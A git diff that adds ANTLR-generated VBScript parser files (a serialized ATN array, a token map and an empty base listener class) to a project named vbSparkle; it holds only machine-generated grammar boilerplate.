0, 2817, 2818, 1, 0, 0, 0, 2818, 2820, 1, 0, 0, 0, 2819, 2821, 3, 282, 141, 0, 2820, 2819, 1, 0, 0, 0, 2820, 2821, 1, 0, 0, 0, 2821, 269, 1, 0, 0, 0, 2822, 2824, 3, 294, 147, 0, 2823, 2825, 3, 320, 160, 0, 2824, 2823, 1, 0, 0, 0, 2824, 2825, 1, 0, 0, 0, 2825, 2827, 1, 0, 0, 0, 2826, 2828, 5, 223, 0, 0, 2827, 2826, 1, 0, 0, 0, 2827, 2828, 1, 0, 0, 0, 2828, 2829, 1, 0, 0, 0, 2829, 2831, 5, 195, 0, 0, 2830, 2832, 5, 223, 0, 0, 2831, 2830, 1, 0, 0, 0, 2831, 2832, 1, 0, 0, 0, 2832, 2837, 1, 0, 0, 0, 2833, 2835, 3, 278, 139, 0, 2834, 2836, 5, 223, 0, 0, 2835, 2834, 1, 0, 0, 0, 2835, 2836, 1, 0, 0, 0, 2836, 2838, 1, 0, 0, 0, 2837, 2833, 1, 0, 0, 0, 2837, 2838, 1, 0, 0, 0, 2838, 2839, 1, 0, 0, 0, 2839, 2840, 5, 206, 0, 0, 2840, 271, 1, 0, 0, 0, 2841, 2844, 3, 266, 133, 0, 2842, 2844, 3, 268, 134, 0, 2843, 2841, 1, 0, 0, 0, 2843, 2842, 1, 0, 0, 0, 2843, 2844, 1, 0, 0, 0, 2844, 2846, 1, 0, 0, 0, 2845, 2847, 3, 274, 137, 0, 2846, 2845, 1, 0, 0, 0, 2847, 2848, 1, 0, 0, 0, 2848, 2846, 1, 0, 0, 0, 2848, 2849, 1, 0, 0, 0, 2849, 2851, 1, 0, 0, 0, 2850, 2852, 3, 282, 141, 0, 2851, 2850, 1, 0, 0, 0, 2851, 2852, 1, 0, 0, 0, 2852, 273, 1, 0, 0, 0, 2853, 2855, 5, 223, 0, 0, 2854, 2853, 1, 0, 0, 0, 2854, 2855, 1, 0, 0, 0, 2855, 2856, 1, 0, 0, 0, 2856, 2858, 5, 187, 0, 0, 2857, 2859, 5, 223, 0, 0, 2858, 2857, 1, 0, 0, 0, 2858, 2859, 1, 0, 0, 0, 2859, 2862, 1, 0, 0, 0, 2860, 2863, 3, 266, 133, 0, 2861, 2863, 3, 268, 134, 0, 2862, 2860, 1, 0, 0, 0, 2862, 2861, 1, 0, 0, 0, 2863, 275, 1, 0, 0, 0, 2864, 2865, 3, 282, 141, 0, 2865, 277, 1, 0, 0, 0, 2866, 2868, 3, 280, 140, 0, 2867, 2866, 1, 0, 0, 0, 2867, 2868, 1, 0, 0, 0, 2868, 2870, 1, 0, 0, 0, 2869, 2871, 5, 223, 0, 0, 2870, 2869, 1, 0, 0, 0, 2870, 2871, 1, 0, 0, 0, 2871, 2872, 1, 0, 0, 0, 2872, 2874, 7, 12, 0, 0, 2873, 2875, 5, 223, 0, 0, 2874, 2873, 1, 0, 0, 0, 2874, 2875, 1, 0, 0, 0, 2875, 2877, 1, 0, 0, 0, 2876, 2867, 1, 0, 0, 0, 2877, 2880, 1, 0, 0, 0, 2878, 2876, 1, 0, 0, 0, 2878, 2879, 1, 0, 0, 0, 2879, 2881, 1, 0, 0, 0, 2880, 2878, 1, 0, 0, 0, 2881, 2894, 3, 280, 140, 0, 2882, 2884, 5, 223, 0, 0, 2883, 2882, 1, 0, 0, 0, 2883, 2884, 1, 0, 0, 0, 2884, 2885, 1, 0, 0, 0, 2885, 2887, 7, 12, 0, 0, 2886, 2888, 5, 223, 0, 0, 2887, 2886, 1, 0, 0, 0, 2887, 2888, 1, 0, 0, 0, 2888, 2890, 1, 0, 0, 0, 2889, 2891, 3, 280, 140, 0, 2890, 2889, 1, 0, 0, 0, 2890, 2891, 1, 0, 0, 0, 2891, 2893, 1, 0, 0, 0, 2892, 2883, 1, 0, 0, 0, 2893, 2896, 1, 0, 0, 0, 2894, 2892, 1, 0, 0, 0, 2894, 2895, 1, 0, 0, 0, 2895, 279, 1, 0, 0, 0, 2896, 2894, 1, 0, 0, 0, 2897, 2898, 7, 16, 0, 0, 2898, 2900, 5, 223, 0, 0, 2899, 2897, 1, 0, 0, 0, 2899, 2900, 1, 0, 0, 0, 2900, 2901, 1, 0, 0, 0, 2901, 2902, 3, 234, 117, 0, 2902, 281, 1, 0, 0, 0, 2903, 2904, 5, 189, 0, 0, 2904, 2906, 3, 294, 147, 0, 2905, 2907, 3, 320, 160, 0, 2906, 2905, 1, 0, 0, 0, 2906, 2907, 1, 0, 0, 0, 2907, 283, 1, 0, 0, 0, 2908, 2926, 5, 195, 0, 0, 2909, 2911, 5, 223, 0, 0, 2910, 2909, 1, 0, 0, 0, 2910, 2911, 1, 0, 0, 0, 2911, 2912, 1, 0, 0, 0, 2912, 2923, 3, 286, 143, 0, 2913, 2915, 5, 223, 0, 0, 2914, 2913, 1, 0, 0, 0, 2914, 2915, 1, 0, 0, 0, 2915, 2916, 1, 0, 0, 0, 2916, 2918, 5, 184, 0, 0, 2917, 2919, 5, 223, 0, 0, 2918, 2917, 1, 0, 0, 0, 2918, 2919, 1, 0, 0, 0, 2919, 2920, 1, 0, 0, 0, 2920, 2922, 3, 286, 143, 0, 2921, 2914, 1, 0, 0, 0, 2922, 2925, 1, 0, 0, 0, 2923, 2921, 1, 0, 0, 0, 2923, 2924, 1, 0, 0, 0, 2924, 2927, 1, 0, 0, 0, 2925, 2923, 1, 0, 0, 0, 2926, 2910, 1, 0, 0, 0, 2926, 2927, 1, 0, 0, 0, 2927, 2929, 1, 0, 0, 0, 2928, 2930, 5, 223, 0, 0, 2929, 2928, 1, 0, 0, 0, 2929, 2930, 1, 0, 0, 0, 2930, 2931, 1, 0, 0, 0, 2931, 2932, 5, 206, 0, 0, 2932, 285, 1, 0, 0, 0, 2933, 2934, 5, 117, 0, 0, 2934, 2936, 5, 223, 0, 0, 2935, 2933, 1, 0, 0, 0, 2935, 2936, 1, 0, 0, 0, 2936, 2939, 1, 0, 0, 0, 2937, 2938, 7, 17, 0, 0, 2938, 2940, 5, 223, 0, 0, 2939, 2937, 1, 0, 0, 0, 2939, 2940, 1, 0, 0, 0, 2940, 2943, 1, 0, 0, 0, 2941, 2942, 5, 124, 0, 0, 2942, 2944, 5, 223, 0, 0, 2943, 2941, 1, 0, 0, 0, 2943, 2944, 1, 0, 0, 0, 2944, 2945, 1, 0, 0, 0, 2945, 2947, 3, 294, 147, 0, 2946, 2948, 3, 320, 160, 0, 2947, 2946, 1, 0, 0, 0, 2947, 2948, 1, 0, 0, 0, 2948, 2957, 1, 0, 0, 0, 2949, 2951, 5, 223, 0, 0, 2950, 2949, 1, 0, 0, 0, 2950, 2951, 1, 0, 0, 0, 2951, 2952, 1, 0, 0, 0, 2952, 2954, 5, 195, 0, 0, 2953, 2955, 5, 223, 0, 0, 2954, 2953, 1, 0, 0, 0, 2954, 2955, 1, 0, 0, 0, 2955, 2956, 1, 0, 0, 0, 2956, 2958, 5, 206, 0, 0, 2957, 2950, 1, 0, 0, 0, 2957, 2958, 1, 0, 0, 0, 2958, 2961, 1, 0, 0, 0, 2959, 2960, 5, 223, 0, 0, 2960, 2962, 3, 296, 148, 0, 2961, 2959, 1, 0, 0, 0, 2961, 2962, 1, 0, 0, 0, 2962, 2967, 1, 0, 0, 0, 2963, 2965, 5, 223, 0, 0, 2964, 2963, 1, 0, 0, 0, 2964, 2965, 1, 0, 0, 0, 2965, 2966, 1, 0, 0, 0, 2966, 2968, 3, 288, 144, 0, 2967, 2964, 1, 0, 0, 0, 2967, 2968, 1, 0, 0, 0, 2968, 287, 1, 0, 0, 0, 2969, 2971, 5, 188, 0, 0, 2970, 2972, 5, 223, 0, 0, 2971, 2970, 1, 0, 0, 0, 2971, 2972, 1, 0, 0, 0, 2972, 2973, 1, 0, 0, 0, 2973, 2974, 3, 234, 117, 0, 2974, 289, 1, 0, 0, 0, 2975, 2986, 3, 292, 146, 0, 2976, 2978, 5, 223, 0, 0, 2977, 2976, 1, 0, 0, 0, 2977, 2978, 1, 0, 0, 0, 2978, 2979, 1, 0, 0, 0, 2979, 2981, 5, 184, 0, 0, 2980, 2982, 5, 223, 0, 0, 2981, 2980, 1, 0, 0, 0, 2981, 2982, 1, 0, 0, 0, 2982, 2983, 1, 0, 0, 0, 2983, 2985, 3, 292, 146, 0, 2984, 2977, 1, 0, 0, 0, 2985, 2988, 1, 0, 0, 0, 2986, 2984, 1, 0, 0, 0, 2986, 2987, 1, 0, 0, 0, 2987, 291, 1, 0, 0, 0, 2988, 2986, 1, 0, 0, 0, 2989, 2990, 3, 234, 117, 0, 2990, 2991, 5, 223, 0, 0, 2991, 2992, 5, 165, 0, 0, 2992, 2993, 5, 223, 0, 0, 2993, 2995, 1, 0, 0, 0, 2994, 2989, 1, 0, 0, 0, 2994, 2995, 1, 0, 0, 0, 2995, 2996, 1, 0, 0, 0, 2996, 2997, 3, 234, 117, 0, 2997, 293, 1, 0, 0, 0, 2998, 3001, 5, 218, 0, 0, 2999, 3001, 3, 324, 162, 0, 3000, 2998, 1, 0, 0, 0, 3000, 2999, 1, 0, 0, 0, 3001, 3002, 1, 0, 0, 0, 3002, 3000, 1, 0, 0, 0, 3002, 3003, 1, 0, 0, 0, 3003, 3013, 1, 0, 0, 0, 3004, 3007, 5, 208, 0, 0, 3005, 3008, 5, 218, 0, 0, 3006, 3008, 3, 324, 162, 0, 3007, 3005, 1, 0, 0, 0, 3007, 3006, 1, 0, 0, 0, 3008, 3009, 1, 0, 0, 0, 3009, 3007, 1, 0, 0, 0, 3009, 3010, 1, 0, 0, 0, 3010, 3011, 1, 0, 0, 0, 3011, 3013, 5, 209, 0, 0, 3012, 3000, 1, 0, 0, 0, 3012, 3004, 1, 0, 0, 0, 3013, 295, 1, 0, 0, 0, 3014, 3015, 5, 8, 0, 0, 3015, 3018, 5, 223, 0, 0, 3016, 3017, 5, 108, 0, 0, 3017, 3019, 5, 223, 0, 0, 3018, 3016, 1, 0, 0, 0, 3018, 3019, 1, 0, 0, 0, 3019, 3020, 1, 0, 0, 0, 3020, 3023, 3, 318, 159, 0, 3021, 3022, 5, 223, 0, 0, 3022, 3024, 3, 306, 153, 0, 3023, 3021, 1, 0, 0, 0, 3023, 3024, 1, 0, 0, 0, 3024, 297, 1, 0, 0, 0, 3025, 3026, 7, 18, 0, 0, 3026, 299, 1, 0, 0, 0, 3027, 3032, 5, 218, 0, 0, 3028, 3031, 3, 324, 162, 0, 3029, 3031, 5, 218, 0, 0, 3030, 3028, 1, 0, 0, 0, 3030, 3029, 1, 0, 0, 0, 3031, 3034, 1, 0, 0, 0, 3032, 3030, 1, 0, 0, 0, 3032, 3033, 1, 0, 0, 0, 3033, 3043, 1, 0, 0, 0, 3034, 3032, 1, 0, 0, 0, 3035, 3038, 3, 324, 162, 0, 3036, 3039, 3, 324, 162, 0, 3037, 3039, 5, 218, 0, 0, 3038, 3036, 1, 0, 0, 0, 3038, 3037, 1, 0, 0, 0, 3039, 3040, 1, 0, 0, 0, 3040, 3038, 1, 0, 0, 0, 3040, 3041, 1, 0, 0, 0, 3041, 3043, 1, 0, 0, 0, 3042, 3027, 1, 0, 0, 0, 3042, 3035, 1, 0, 0, 0, 3043, 301, 1, 0, 0, 0, 3044, 3045, 7, 19, 0, 0, 3045, 303, 1, 0, 0, 0, 3046, 3051, 3, 294, 147, 0, 3047, 3048, 5, 187, 0, 0, 3048, 3050, 3, 294, 147, 0, 3049, 3047, 1, 0, 0, 0, 3050, 3053, 1, 0, 0, 0, 3051, 3049, 1, 0, 0, 0, 3051, 3052, 1, 0, 0, 0, 3052, 305, 1, 0, 0, 0, 3053, 3051, 1, 0, 0, 0, 3054, 3056, 5, 199, 0, 0, 3055, 3057, 5, 223, 0, 0, 3056, 3055, 1, 0, 0, 0, 3056, 3057, 1, 0, 0, 0, 3057, 3060, 1, 0, 0, 0, 3058, 3061, 5, 213, 0, 0, 3059, 3061, 3, 294, 147, 0, 3060, 3058, 1, 0, 0, 0, 3060, 3059, 1, 0, 0, 0, 3061, 307, 1, 0, 0, 0, 3062, 3071, 3, 300, 150, 0, 3063, 3065, 5, 223, 0, 0, 3064, 3063, 1, 0, 0, 0, 3064, 3065, 1, 0, 0, 0, 3065, 3066, 1, 0, 0, 0, 3066, 3068, 5, 197, 0, 0, 3067, 3069, 5, 223, 0, 0, 3068, 3067, 1, 0, 0, 0, 3068, 3069, 1, 0, 0, 0, 3069, 3070, 1, 0, 0, 0, 3070, 3072, 3, 300, 150, 0, 3071, 3064, 1, 0, 0, 0, 3071, 3072, 1, 0, 0, 0, 3072, 309, 1, 0, 0, 0, 3073, 3078, 5, 212, 0, 0, 3074, 3078, 5, 216, 0, 0, 3075, 3078, 5, 211, 0, 0, 3076, 3078, 5, 210, 0, 0, 3077, 3073, 1, 0, 0, 0, 3077, 3074, 1, 0, 0, 0, 3077, 3075, 1, 0, 0, 0, 3077, 3076, 1, 0, 0, 0, 3078, 311, 1, 0, 0, 0, 3079, 3088, 5, 214, 0, 0, 3080, 3088, 3, 310, 155, 0, 3081, 3088, 5, 215, 0, 0, 3082, 3088, 5, 213, 0, 0, 3083, 3088, 5, 166, 0, 0, 3084, 3088, 5, 68, 0, 0, 3085, 3088, 5, 110, 0, 0, 3086, 3088, 5, 111, 0, 0, 3087, 3079, 1, 0, 0, 0, 3087, 3080, 1, 0, 0, 0, 3087, 3081, 1, 0, 0, 0, 3087, 3082, 1, 0, 0, 0, 3087, 3083, 1, 0, 0, 0, 3087, 3084, 1, 0, 0, 0, 3087, 3085, 1, 0, 0, 0, 3087, 3086, 1, 0, 0, 0, 3088, 313, 1, 0, 0, 0, 3089, 3090, 7, 20, 0, 0, 3090, 315, 1, 0, 0, 0, 3091, 3092, 7, 21, 0, 0, 3092, 317, 1, 0, 0, 0, 3093, 3096, 3, 298, 149, 0, 3094, 3096, 3, 304, 152, 0, 3095, 3093, 1, 0, 0, 0, 3095, 3094, 1, 0, 0, 0, 3096, 3105, 1, 0, 0, 0, 3097, 3099, 5, 223, 0, 0, 3098, 3097, 1, 0, 0, 0, 3098, 3099, 1, 0, 0, 0, 3099, 3100, 1, 0, 0, 0, 3100, 3102, 5, 195, 0, 0, 3101, 3103, 5, 223, 0, 0, 3102, 3101, 1, 0, 0, 0, 3102, 3103, 1, 0, 0, 0, 3103, 3104, 1, 0, 0, 0, 3104, 3106, 5, 206, 0, 0, 3105, 3098, 1, 0, 0, 0, 3105, 3106, 1, 0, 0, 0, 3106, 319, 1, 0, 0, 0, 3107, 3108, 7, 22, 0, 0, 3108, 321, 1, 0, 0, 0, 3109, 3110, 7, 23, 0, 0, 3110, 323, 1, 0, 0, 0, 3111, 3112, 7, 24, 0, 0, 3112, 325, 1, 0, 0, 0, 542, 330, 335, 342, 344, 347, 352, 356, 361, 365, 370, 374, 379, 383, 388, 392, 397, 401, 406, 410, 414, 419, 422, 427, 439, 445, 450, 456, 460, 464, 473, 477, 483, 487, 497, 501, 506, 511, 513, 516, 521, 536, 539, 547, 552, 557, 563, 568, 572, 579, 587, 591, 595, 604, 607, 615, 619, 624, 629, 631, 637, 645, 649, 651, 657, 660, 665, 674, 678, 682, 686, 691, 696, 700, 704, 709, 711, 714, 716, 785, 855, 861, 865, 868, 884, 888, 893, 896, 901, 907, 911, 916, 921, 925, 928, 932, 938, 942, 949, 955, 959, 962, 967, 977, 980, 983, 987, 993, 997, 1002, 1009, 1013, 1017, 1021, 1024, 1030, 1036, 1038, 1045, 1051, 1057, 1059, 1067, 1073, 1079, 1083, 1090, 1098, 1103, 1111, 1119, 1125, 1127, 1133, 1137, 1140, 1145, 1151, 1155, 1160, 1170, 1176, 1186, 1190, 1198, 1202, 1205, 1209, 1215, 1221, 1223, 1227, 1230, 1236, 1240, 1243, 1247, 1255, 1260, 1265, 1271, 1273, 1279, 1281, 1286, 1290, 1294, 1300, 1303, 1307, 1310, 1315, 1318, 1324, 1330, 1332, 1337, 1346, 1350, 1353, 1356, 1360, 1376, 1380, 1386, 1391, 1395, 1399, 1403, 1409, 1414, 1422, 1426, 1432, 1438, 1440, 1452, 1458, 1460, 1466, 1472, 1474, 1484, 1488, 1493, 1501, 1505, 1509, 1513, 1517, 1521, 1525, 1529, 1532, 1535, 1539, 1543, 1549, 1553, 1557, 1565, 1569, 1581, 1585, 1592, 1594, 1600, 1604, 1612, 1616, 1628, 1634, 1636, 1646, 1652, 1654, 1660, 1666, 1668, 1690, 1700, 1704, 1709, 1720, 1724, 1729, 1743, 1747, 1756, 1760, 1763, 1767, 1771, 1774, 1778, 1782, 1785, 1789, 1792, 1796, 1798, 1802, 1806, 1810, 1814, 1817, 1823, 1827, 1830, 1832, 1837, 1841, 1847, 1850, 1853, 1857, 1862, 1868, 1870, 1877, 1881, 1887, 1890, 1895, 1901, 1903, 1910, 1914, 1920, 1923, 1928, 1934, 1936, 1944, 1948, 1951, 1954, 1958, 1966, 1970, 1974, 1976, 1979, 1984, 1990, 1994, 1998, 2003, 2008, 2012, 2016, 2021, 2029, 2031, 2043, 2047, 2055, 2059, 2067, 2071, 2075, 2079, 2083, 2087, 2095, 2099, 2111, 2116, 2120, 2126, 2130, 2135, 2142, 2144, 2149, 2153, 2158, 2161, 2165, 2169, 2180, 2186, 2190, 2193, 2199, 2203, 2211, 2215, 2224, 2228, 2232, 2238, 2241, 2246, 2252, 2254, 2260, 2264, 2271, 2279, 2284, 2291, 2295, 2298, 2301, 2304, 2308, 2313, 2322, 2332, 2336, 2343, 2345, 2352, 2356, 2360, 2365, 2369, 2382, 2386, 2392, 2397, 2405, 2409, 2413, 2416, 2420, 2424, 2429, 2433, 2438, 2442, 2447, 2451, 2456, 2460, 2465, 2469, 2474, 2478, 2483, 2487, 2492, 2496, 2501, 2505, 2510, 2514, 2519, 2523, 2528, 2532, 2537, 2541, 2546, 2550, 2563, 2565, 2571, 2576, 2582, 2586, 2591, 2596, 2599, 2603, 2607, 2609, 2613, 2615, 2619, 2627, 2632, 2638, 2647, 2651, 2659, 2665, 2671, 2673, 2681, 2685, 2688, 2692, 2698, 2701, 2705, 2709, 2713, 2718, 2722, 2726, 2729, 2733, 2737, 2741, 2745, 2748, 2751, 2755, 2758, 2761, 2767, 2772, 2775, 2778, 2784, 2788, 2791, 2796, 2799, 2802, 2806, 2810, 2812, 2817, 2820, 2824, 2827, 2831, 2835, 2837, 2843, 2848, 2851, 2854, 2858, 2862, 2867, 2870, 2874, 2878, 2883, 2887, 2890, 2894, 2899, 2906, 2910, 2914, 2918, 2923, 2926, 2929, 2935, 2939, 2943, 2947, 2950, 2954, 2957, 2961, 2964, 2967, 2971, 2977, 2981, 2986, 2994, 3000, 3002, 3007, 3009, 3012, 3018, 3023, 3030, 3032, 3038, 3040, 3042, 3051, 3056, 3060, 3064, 3068, 3071, 3077, 3087, 3095, 3098, 3102, 3105] \ No newline at end of file diff --git a/Sources/vbSparkle/VBScript.tokens b/Sources/vbSparkle/VBScript.tokens new file mode 100644 index 0000000..92fab61 --- /dev/null +++ b/Sources/vbSparkle/VBScript.tokens @@ -0,0 +1,253 @@ +ACCESS=1 +ADDRESSOF=2 +ALIAS=3 +AND=4 +ATTRIBUTE=5 +APPACTIVATE=6 +APPEND=7 +AS=8 +BEEP=9 +BEGIN=10 +BEGINPROPERTY=11 +BINARY=12 +BOOLEAN=13 +BYVAL=14 +BYREF=15 +BYTE=16 +CALL=17 +CASE=18 +CHDIR=19 +CHDRIVE=20 +CLASS=21 +CLOSE=22 +COLLECTION=23 +CONST=24 +DATE=25 +PTRSAFE=26 +DECLARE=27 +DEFBOOL=28 +DEFBYTE=29 +DEFDATE=30 +DEFDBL=31 +DEFDEC=32 +DEFCUR=33 +DEFINT=34 +DEFLNG=35 +DEFOBJ=36 +DEFSNG=37 +DEFSTR=38 +DEFVAR=39 +DELETESETTING=40 +DIM=41 +DO=42 +DOUBLE=43 +EACH=44 +ELSE=45 +ELSEIF=46 +END_ENUM=47 +END_CLASS=48 +END_FUNCTION=49 +END_IF=50 +END_PROPERTY=51 +END_SELECT=52 +END_SUB=53 +END_TYPE=54 +END_WITH=55 +END=56 +ENDPROPERTY=57 +ENUM=58 +EQV=59 +ERASE=60 +ERROR=61 +EVENT=62 +EXIT_DO=63 +EXIT_FOR=64 +EXIT_FUNCTION=65 +EXIT_PROPERTY=66 +EXIT_SUB=67 +FALSE=68 +FILECOPY=69 +FRIEND=70 +FOR=71 +FUNCTION=72 +GET=73 +GLOBAL=74 +GOSUB=75 +GOTO=76 +IF=77 +IMP=78 +IMPLEMENTS=79 +IN=80 +INPUT=81 +IS=82 +INTEGER=83 +KILL=84 +LOAD=85 +LOCK=86 +LONG=87 +LOOP=88 +LEN=89 +LET=90 +LIB=91 +LIKE=92 +LINE_INPUT=93 +LOCK_READ=94 +LOCK_WRITE=95 +LOCK_READ_WRITE=96 +LSET=97 +MACRO_IF=98 +MACRO_ELSEIF=99 +MACRO_ELSE=100 +MACRO_END_IF=101 +ME=102 +MID=103 +MKDIR=104 +MOD=105 +NAME=106 +NEXT=107 +NEW=108 +NOT=109 +NOTHING=110 +NULL=111 +OBJECT=112 +ON=113 +ON_ERROR=114 +ON_LOCAL_ERROR=115 +OPEN=116 +OPTIONAL=117 +OPTION_BASE=118 +OPTION_EXPLICIT=119 +OPTION_COMPARE=120 +OPTION_PRIVATE_MODULE=121 +OR=122 +OUTPUT=123 +PARAMARRAY=124 +PRESERVE=125 +PRINT=126 +PRIVATE=127 +PROPERTY_GET=128 +PROPERTY_LET=129 +PROPERTY_SET=130 +PUBLIC=131 +PUT=132 +RANDOM=133 +RANDOMIZE=134 +RAISEEVENT=135 +READ=136 +READ_WRITE=137 +REDIM=138 +REM=139 +RESET=140 +RESUME=141 +RETURN=142 +RMDIR=143 +RSET=144 +SAVEPICTURE=145 +SAVESETTING=146 +SEEK=147 +SELECT=148 +SENDKEYS=149 +SET=150 +SETATTR=151 +SHARED=152 +SINGLE=153 +SPC=154 +STATIC=155 +DEFAULT=156 +STEP=157 +STOP=158 +STRING=159 +SUB=160 +TAB=161 +TEXT=162 +THEN=163 +TIME=164 +TO=165 +TRUE=166 +TYPE=167 +TYPEOF=168 +UNLOAD=169 +UNLOCK=170 +UNTIL=171 +VARIANT=172 +VERSION=173 +WEND=174 +WHILE=175 +WIDTH=176 +WITH=177 +WITHEVENTS=178 +WRITE=179 +XOR=180 +AMPERSAND=181 +ASSIGN=182 +AT=183 +COMMA=184 +DIV=185 +DOLLAR=186 +DOT=187 +EQ=188 +EXCLAMATIONMARK=189 +GEQ=190 +GT=191 +HASH=192 +LEQ=193 +LBRACE=194 +LPAREN=195 +LT=196 +MINUS=197 +MINUS_EQ=198 +MULT=199 +NEQ=200 +PERCENT=201 +PLUS=202 +PLUS_EQ=203 +POW=204 +RBRACE=205 +RPAREN=206 +SEMICOLON=207 +L_SQUARE_BRACKET=208 +R_SQUARE_BRACKET=209 +STRINGLITERAL=210 +DATELITERAL=211 +HEXLITERAL=212 +INTEGERLITERAL=213 +DOUBLELITERAL=214 +FILENUMBER=215 +OCTALLITERAL=216 +GUID=217 +IDENTIFIER=218 +NEWLINE=219 +INLINE_SEP=220 +INLN=221 +COMMENT=222 +WS=223 +LINE_CONTINUATION=224 +'&'=181 +':='=182 +'@'=183 +','=184 +'$'=186 +'.'=187 +'='=188 +'!'=189 +'>='=190 +'>'=191 +'#'=192 +'<='=193 +'{'=194 +'('=195 +'<'=196 +'-'=197 +'-='=198 +'*'=199 +'<>'=200 +'%'=201 +'+'=202 +'+='=203 +'^'=204 +'}'=205 +')'=206 +';'=207 +'['=208 +']'=209 +':'=221 diff --git a/Sources/vbSparkle/VBScriptBaseListener.cs b/Sources/vbSparkle/VBScriptBaseListener.cs new file mode 100644 index 0000000..dd1e2a1 --- /dev/null +++ b/Sources/vbSparkle/VBScriptBaseListener.cs @@ -0,0 +1,2389 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + + +using Antlr4.Runtime.Misc; +using IErrorNode = Antlr4.Runtime.Tree.IErrorNode; +using ITerminalNode = Antlr4.Runtime.Tree.ITerminalNode; +using IToken = Antlr4.Runtime.IToken; +using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; + +/// +/// This class provides an empty implementation of , +/// which can be extended to create a listener which only needs to handle a subset +/// of the available methods. +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.Diagnostics.DebuggerNonUserCode] +[System.CLSCompliant(false)] +public partial class VBScriptBaseListener : IVBScriptListener { + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterStartRule([NotNull] VBScriptParser.StartRuleContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitStartRule([NotNull] VBScriptParser.StartRuleContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModule([NotNull] VBScriptParser.ModuleContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModule([NotNull] VBScriptParser.ModuleContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context) { } + /// + /// Enter a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context) { } + /// + /// Exit a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context) { } + /// + /// Enter a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context) { } + /// + /// Exit a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context) { } + /// + /// Enter a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context) { } + /// + /// 